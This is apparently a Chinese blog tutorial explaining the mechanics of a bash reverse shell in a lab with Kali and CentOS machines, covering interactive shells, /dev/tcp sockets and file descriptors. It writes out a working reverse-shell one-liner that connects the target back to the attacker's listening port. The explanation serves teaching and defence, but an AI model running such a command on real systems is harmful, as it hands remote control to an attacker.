浅析Linux之bash反弹shell原理

环境

攻击机:kali            ip:192.168.25.144

靶    机:centos      ip:192.168.25.142

过程

kali 监听本地8888端口

浅析Linux之bash反弹shell原理

靶机 centos 写入 反弹shell 的命令

bash -i >& /dev/tcp/192.168.25.144/8888 0>&1

浅析Linux之bash反弹shell原理

攻击机 kali 成功反弹shell

浅析Linux之bash反弹shell原理

原理

反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口,并将其命令行的输入输出转到控制端,从而实现交互

我们将命令拆开

bash -i 
/dev/tcp/192.168.25.144/8888
 >&  0>&1

bash

Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径

常用的shell有  ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特点以及用途

查询当前shell命令    ls -l /bin/sh

浅析Linux之bash反弹shell原理

浅析Linux之bash反弹shell原理

bash -i  打开一个交互式的bash            shell 如果有 -i 参数,就是交互式的

交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的

使用命令  echo $-  可以查看是否是交互式shell

浅析Linux之bash反弹shell原理     

有参数  i ,是交互式的

执行一个shell脚本

浅析Linux之bash反弹shell原理 

无参数 i ,非交互式

/dev目录

dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件,Linux一切皆文件

 /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/

/dev/tcp/192.168.25.144/8888

所以上述命令就是和192.168.25.144:8888建立TCP连接

文件描述符

Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。

所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向)

浅析Linux之bash反弹shell原理

扫一扫手机访问